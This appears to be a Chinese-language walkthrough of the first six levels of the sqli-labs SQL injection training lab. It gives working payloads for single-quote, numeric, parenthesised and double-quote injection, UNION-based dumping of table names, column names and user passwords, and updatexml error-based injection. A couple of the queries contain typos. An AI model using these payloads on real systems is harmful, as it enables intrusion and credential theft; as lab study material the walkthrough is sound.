前言
如果你是使用的phpstudy,请务必将sql的版本调到5.5以上,因为这样你的数据库内才会有information_schema数据库,方便进行实验测试。
另外-- (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格。
用到的一些东西:
1. concat(str1,str2,...) #没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...) #含有分隔符地连接字符串
3. group_concat(str1,str2,...) #连接一个组的所有字符串,并以逗号分隔每一条数据
说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。
order by #猜字段
database() #爆数据库名
user() #爆数据库用户名
union ..... 联合查询
selcet group_concat(table_name) from information_schema.tables where table_schema='security'
#查询指定数据库security的表名
select group_concat(column_name)from information_schema.columns where table_name='user'
#查询指定表的列名信息
select 1,group_concat(username),group_concat(password) from security.user
#获取数据
注入流程
mysql数据库存储的数据按照上图的形式,一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,再获取当前数据表下的列,最后获取数据。
第一关
1.id=1’ 页面不正常,表示可能存在SQL字符注入,输入–+将sql后面的语句注视掉后,发现页面回显正常,则证明这个地方是单引号字符型注入
2.使用order by猜字段
超过3报错说明有3个
3.将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位。
有两个显示位
4.爆数据库名和数据库用户
id=-1' union 1,database(),user() --+
5.爆表名
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+
6.爆列名
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
7.爆用户名,密码
id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+
第二关
1.id=1 and 1=1,id=1 and 1=2判断数值型注入
2.order by 3 页面显示正常,order by 4页面显示不正常,所以该表有3列数据
接着可以使用联合查询进行注入,详细过程参考第一关
第三关
1.向页面输入?id=1’ --+页面显示不正常,但?id=1’) --+显示正常,说明是字符型注入,且是(‘’)闭合的
后续过程参考第一关
2.接着使用order by 判断表中有3列数据
3.接着使用联合查询,union select 1,2,3 判断页面是否有显示位
4.爆表名列名数据
第四关
1.与第三关类似,第四关使用 (“”) 的方式闭合字符串,然后可以优先使用联合查询注入 (多试几次就知道了)
2.判断完类型后,后续步骤跟第一关差不多。
?id=-1") union select 1,group_concat(username),group_concat(password) from users--+
第五关
盲注类型,单引号闭合
可以使用报错注入
?id=1' and updatexml(0x7e,concat(0x7e,database(),0x7e),0x7e)--+
第六关
同上,双引号闭合,可以使用报错注入
?id=1" and updatexml(0x7e,concat(0x7e,database(),0x7e),0x7e)--+